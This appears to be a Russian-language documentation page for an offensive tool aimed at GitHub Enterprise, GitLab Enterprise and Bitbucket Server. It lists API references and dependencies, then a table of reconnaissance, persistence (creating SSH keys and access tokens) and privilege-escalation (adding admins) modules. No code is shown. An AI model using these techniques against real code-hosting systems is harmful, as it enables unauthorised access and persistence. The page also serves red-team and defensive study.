* Документация API Bitbucket 
  * https://developer.atlassian.com/server/bitbucket/reference/rest-api/
* Документация Octokit
  * https://octokitnet.readthedocs.io/en/latest/
  * https://github.com/octokit/octokit.net
* Документация API GitHub
  * https://docs.github.com/en/rest/overview
* Документация API GitLab
  * https://docs.gitlab.com/ee/api/api_resources.html
* Документация пакета Nuget GitLabApiClient
  * https://github.com/nmklotas/GitLabApiClient
Скачать инструмент
БиблиотекаURLЛицензия
Octokithttps://github.com/octokit/octokit.netMIT License
Fodyhttps://github.com/Fody/FodyMIT License
GitLabApiClienthttps://github.com/nmklotas/GitLabApiClientMIT License
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonMIT License
Сценарий атакиМодульТребуется ли администратор?GitHub EnterpriseGitLab EnterpriseBitbucket Server
РазведкаlistrepoНетXXX
РазведкаsearchrepoНетXXX
РазведкаsearchcodeНетXXX
РазведкаsearchfileНетXXX
РазведкаlistsnippetНетX
РазведкаlistrunnerНетX
РазведкаlistgistНетX
РазведкаlistorgНетX
РазведкаprivsНетXX
РазведкаprotectionНетX
ЗакреплениеlistsshkeyНетXXX
ЗакреплениеremovesshkeyНетXXX
ЗакреплениеcreatesshkeyНетXXX
ЗакреплениеlistpatНетXX
ЗакреплениеremovepatНетXX
ЗакреплениеcreatepatДа (только GitLab Enterprise)XX
Повышение привилегийaddadminДаXXX
Повышение привилегийremoveadminДаXXX
РазведкаadminstatsДаX